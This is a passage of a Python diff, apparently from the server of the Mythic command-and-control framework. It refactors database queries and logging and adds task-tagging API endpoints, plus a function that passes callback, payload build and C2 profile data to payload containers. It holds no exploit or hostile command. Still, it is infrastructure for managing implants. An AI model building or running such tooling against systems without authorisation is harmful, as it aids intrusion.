+ await app.db_objects.update(task.callback.registered_payload.payload_type)
+ return {"status": "error", "error": "Payload Type container not running"}
+ if task.callback.registered_payload.payload_type.container_running:
+ rabbit_message = {"params": task.params, "command": task.command.cmd, "task": task.to_json()}
+ rabbit_message["task"]["callback"] = task.callback.to_json()
+ # get the information for the callback's associated payload
+ payload_info = await add_all_payload_info(task.callback.registered_payload)
+ rabbit_message["task"]["callback"]["build_parameters"] = payload_info[
+ "build_parameters"
+ ]
+ rabbit_message["task"]["callback"]["c2info"] = payload_info["c2info"]
+ rabbit_message["task"]["token"] = task.token.to_json() if task.token is not None else None
+ rabbit_message["subtask_group_name"] = subtask_group_name
+ rabbit_message["function_name"] = function_name
+ rabbit_message["subtask"] = subtask.to_json() if subtask is not None else None
+ tags = await app.db_objects.execute(db_model.tasktag_query.where(db_model.TaskTag.task == task))
+ rabbit_message["task"]["tags"] = [t.tag for t in tags]
+ # by default tasks are created in a preprocessing state,
+ result = await send_pt_rabbitmq_message(
+ task.callback.registered_payload.payload_type.ptype,
+ "task_callback_function",
+ js.dumps(rabbit_message),
+ username,
+ task.id
+ )
+ if result["status"] == "error" and "type" in result:
+ task.callback.registered_payload.payload_type.container_running = False
+ task.callback.registered_payload.payload_type.container_count = 0
+ await app.db_objects.update(task.callback.registered_payload.payload_type)
+ return result
+ else:
+ return {"status": "error", "error": "Container not running"}
+
+
async def add_all_payload_info(payload):
rabbit_message = {}
if payload.uuid in cached_payload_info:
@@ -805,9 +1311,8 @@ async def add_all_payload_info(payload):
else:
cached_payload_info[payload.uuid] = {}
build_parameters = {}
- bp_query = await db_model.buildparameterinstance_query()
- build_params = await db_objects.execute(
- bp_query.where(db_model.BuildParameterInstance.payload == payload)
+ build_params = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where(db_model.BuildParameterInstance.payload == payload)
)
for bp in build_params:
build_parameters[bp.build_parameter.name] = bp.parameter
@@ -815,16 +1320,14 @@ async def add_all_payload_info(payload):
# cache it for later
cached_payload_info[payload.uuid]["build_parameters"] = build_parameters
c2_profile_parameters = []
- query = await db_model.payloadc2profiles_query()
- payloadc2profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == payload)
+ payloadc2profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == payload)
)
for pc2p in payloadc2profiles:
# for each profile, we need to get all of the parameters and supplied values for just that profile
param_dict = {}
- query = await db_model.c2profileparametersinstance_query()
- c2_param_instances = await db_objects.execute(
- query.where(
+ c2_param_instances = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.payload == payload)
& (C2ProfileParametersInstance.c2_profile == pc2p.c2_profile)
)
@@ -839,8 +1342,7 @@ async def add_all_payload_info(payload):
)
rabbit_message["c2info"] = c2_profile_parameters
cached_payload_info[payload.uuid]["c2info"] = c2_profile_parameters
- commands_query = await db_model.payloadcommand_query()
- stamped_commands = await db_objects.execute(commands_query.where(
+ stamped_commands = await app.db_objects.execute(db_model.payloadcommand_query.where(
db_model.PayloadCommand.payload == payload
))
commands = [c.command.cmd for c in stamped_commands]
@@ -851,20 +1353,18 @@ async def add_all_payload_info(payload):
async def add_command_attack_to_task(task, command):
try:
- query = await db_model.attackcommand_query()
- attack_mappings = await db_objects.execute(
- query.where(ATTACKCommand.command == command)
+ attack_mappings = await app.db_objects.execute(
+ db_model.attackcommand_query.where(ATTACKCommand.command == command)
)
for attack in attack_mappings:
try:
- query = await db_model.attacktask_query()
# try to get the query, if it doens't exist, then create it in the exception
- await db_objects.get(query, task=task, attack=attack.attack)
+ await app.db_objects.get(db_model.attacktask_query, task=task, attack=attack.attack)
except Exception as e:
- attack = await db_objects.create(ATTACKTask, task=task, attack=attack.attack)
- await log_to_siem(attack.to_json(), mythic_object="task_mitre_attack")
+ attack = await app.db_objects.create(ATTACKTask, task=task, attack=attack.attack)
+ asyncio.create_task(log_to_siem(mythic_object=attack, mythic_source="task_mitre_attack"))
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logger.warning("task_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
raise e
@@ -887,18 +1387,15 @@ async def get_all_not_completed_tasks_for_callback(request, cid, user):
async def get_all_not_completed_tasks_for_callback_func(cid, user):
try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=cid)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, id=callback.operation)
+ callback = await app.db_objects.get(db_model.callback_query, id=cid)
+ operation = await app.db_objects.get(db_model.operation_query, id=callback.operation)
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logger.warning("task_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "failed to get callback or operation"}
if operation.name in user["operations"]:
# Get all tasks that have a status of submitted or processing
- query = await db_model.task_query()
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.callback == callback) & (Task.completed != True)
).order_by(Task.timestamp),
Command.select(),
@@ -911,83 +1408,211 @@ async def get_all_not_completed_tasks_for_callback_func(cid, user):
}
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks/tags/",
+ methods=["PUT"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def update_task(request, tid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator":
+ return json(
+ {"status": "error", "error": "Spectators cannot adjust tags on tasks"}
+ )
+ try:
+ data = request.json
+ if "tags" not in data:
+ return json({"status": "error", "error": "tags is a required field"})
+ task = await app.db_objects.get(db_model.task_query, id=tid)
+ if task.callback.operation.name in user["operations"] or task.callback.operation.name in user["admin_operations"] or user["admin"]:
+ status = await add_tags_to_task(task, data["tags"])
+ return json(status)
+ return json({"status": "success"})
+ except Exception as e:
+ return json({"status": "error", "error": str(e)})
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks/add_tags/",
+ methods=["PUT"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def update_tasks_with_tags(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator":
+ return json(
+ {"status": "error", "error": "Spectators cannot adjust tags on tasks"}
+ )
+ try:
+ data = request.json
+ if "tags" not in data:
+ return json({"status": "error", "error": "tags is a required field"})
+ if "tasks" not in data:
+ return json({"status": "error", "error": "tasks is a required array of task ids"})
+ operation = await app.db_objects.get(db_model.operation_query, name=user['current_operation'])
+ tasks = await app.db_objects.execute(db_model.task_query.where(
+ (db_model.Callback.operation == operation) &
+ (db_model.Task.id.in_(data["tasks"]))
+ ))
+ errors = ""
+ status = "success"
+ for t in tasks:
+ ret_status = await add_tags_to_task(t, data["tags"][:])
+ if ret_status["status"] == "error":
+ status = "error"
+ errors += ret_status["error"] + "\n"
+ if status == "success":
+ return json({"status": "success"})
+ else:
+ return json({"status": "error", "error": errors})
+ except Exception as e:
+ return json({"status": "error", "error": str(e)})
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks/tags/